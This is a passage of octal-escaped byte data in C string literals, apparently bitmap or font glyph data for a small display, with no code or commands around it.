\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\376\\377\\376\\376\\374x\\30\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\\77\\77\\177\\177\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\370\\360\\360\\340\\340\\340\\340\\340\\360\\360\\374\\377\\377\\177\\377\\377\\377\\377\\360\\340\\340\"\n  \"\\360\\370\\376\\374\\377\\377\\377\\377\\1\\1\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\3\\3\\1\\0\\0\\1\\3\\7\\7\\7\\17\\7\"\n  \"\\7\\7\\3\\1\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\360\\360\\360\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\"\n  \"\\370\\370\\370\\0\\0\\340\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\1\\1\\1\\1\\1\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\17\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\17\\17\\37\\37\\37\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<\\377\\377\\377\\377\\377\\377\\377\\377<\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\300\\300\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20<||x\\370\\360\\363\\363\\363\\363\\363\\377\\177\\177\\77\\16\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34|>>>\\37\\37\\37\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\376\\376\\377\\77\\37\\17\\17\\17\\17\\37\\37\\177\\377\\377\\376\\374\\370\\340\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\\377\\377\\377\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\177\\177\\377\\376\\374\\370\\370\\370\\370\\374\\374\\376\\377\\177\\77\\37\\17\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\361\\361\\361\\361\\361\\361\\361\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\177\\377\\376\\374\\370\\360\\341\\303\\207\\17\\37\\77\\77\\177\\377\\376\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\177\\77\\37\\17\\7\\203\\300\\340\\360\\370\\374\\376\\377\\177\\77\\37\"\n  \"\\17\\7\\3\\0\\0\\0\\6\\17\\37\\77\\77\\37\\7\\3\\1\\0\\0\\0\\0\\6\\17\\37\\77\\77\\37\\7\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\370\\370\\370\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\370\\360\"\n  \"\\360`\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\77\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\77\\17\\3\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\376\\377\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\177\\37\\7\\1\\0\\0\\200\\300\\340\\370\\374\\376\\376\\376\"\n  \"\\376\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\377\\177\\37\\7\\1\\300\\340\\360\\370\\374\\377\\337\\317\\303\\301\\377\\377\\377\\377\"\n  \"\\377\\300\\300\\300\\0\\0\\0\\16\\37\\37\\77\\77\\17\\1\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\"\n  \"\\377\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\370\\370\\370\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\370\\370\"\n  \"\\360\\340 \\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\77\\17\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\177\\37\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\177\\237\\347\\341\\360\\370\\370x|<<<<<\"\n  \"|\\370\\370\\360\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\1\\1\\3\\0\\200\\300\\300\\340\\360\\360\\370\"\n  \"|\\77\\77\\37\\0\\0\\0\\17\\17\\37\\37\\77\\17\\1\\0\\0\\0\\0\\0\\0\\370\\374\\376\\376\\377\\377\\377\\377\\373\\371\\370\\370\"\n  \"\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\370\\374||>>>>>~\\374\\374\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\370\\370\"\n  \"\\360\\360 \\0\\200\\200\\0\\0\\36\\36\\36\\36\\36\\77\\77\\377\\377\\373\\361\\300\\0\\0\\0\\200\\340\\374\\377\\377\\377\\377\\77\\17\"\n  \"\\3\\0\\0\\0\\77\\177~\\374\\370\\370\\370\\370\\370\\374~\\177\\77\\37\\17\\207\\340\\370\\376\\377\\377\\377\\77\\17\\3\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\376\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\177\\37\\7\\1\\0\\0\\200\\300\\340\\370\\374\\376\\376\\376\"\n  \"\\376\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\177\\37\\7\\1\\300\\340\\360\\370\\374\\377\\337\\317\\303\\301\\377\\377\\377\\377\"\n  \"\\377\\300\\300\\300\\0\\0\\10\\17\\37\\37\\77\\77\\7\\1\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\"\n  \"\\377\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\370\\370\\370\\370\\360\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\17\\37\\37\\37\\37\\17\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\374\\377\\377\\377\\177\\77\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\37\\77\\177\\377\\377\\377\\376\\370\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\177~\"\n  \"<\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\\341\\343\\203\\3\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\177\\17\\37\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\7\\37\\377\\377\\377\\377\\376\\370\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\377\\377\\177\\177~~~~~~~~~~\\177\\177\\377\\377\\377\\377\\376\\370\"\n  \"\\300\\0\\0\\0\\374\\377\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\377\"\n  \"\\377\\377\\370\\340\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\1\\341\\361\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\377\\77\\7\\17\\177\\377\\377\\377\\377\\370\\340\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\377\\177\\17\\1\\0\\0\\0\\0\\3\\17\\177\\377\\377\\377\\377\\374\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\377\\377\\377\\377\\377\\374\"\n  \"\\340\\200\\0\\0\\376\\377\\377\\377\\377\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\377\\377\\377\"\n  \"\\377\\377\\374\\360\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\"\n  \"\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\37\\37\\17\\17\\7\\7\\3\\301\\341\\341\\201\\3\\7\\17\\17\\37\\77\\37\\7\\2\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\177\\17\\37\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\7\\37\\377\\377\\377\\377\\376\\370\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\377\\377\\177\\177~~~~~~~~~~\\177\\177\\377\\377\\377\\377\\376\\370\"\n  \"\\300\\0\\0\\0\\374\\377\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\377\"\n  \"\\377\\377\\370\\340\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\300\\340\\341\\201\\3\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\177\\17\\37\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\7\\37\\377\\377\\377\\377\\376\\370\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\377\\377\\177\\177~~~~~~~~~~\\177\\177\\377\\377\\377\\377\\376\\370\"\n  \"\\300\\0\\0\\0\\374\\377\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\377\"\n  \"\\377\\377\\370\\340\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\7\\7\\3\\1\\0\\340\\340\\340\\0\\1\\3\\7\\7\\7\\7\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\377\\77\\7\\77\\377\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\177\\17\\1\\0\\0\\0\\1\\17\\77\\377\\377\\377\\377\\374\\360\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\377\\177\\177~~~~~~~~~\\177\\177\\377\\377\\377\\377\\377\\376\\360\"\n  \"\\200\\0\\0\\0\\374\\377\\377\\377\\377\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\177\\377\\377\\377\"\n  \"\\377\\376\\360\\300\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\77|\\370\\370\\370\\370|\\77\\37\\17\\7\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\177\\37\\37\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\3\\37\\177\\377\\377\\377\\376\\370\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\177\\177~~~~~~~~~~\\177\\177\\377\\377\\377\\377\\377\\370\"\n  \"\\340\\0\\0\\0\\374\\377\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\377\\377\"\n  \"\\377\\377\\374\\340\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\"\n  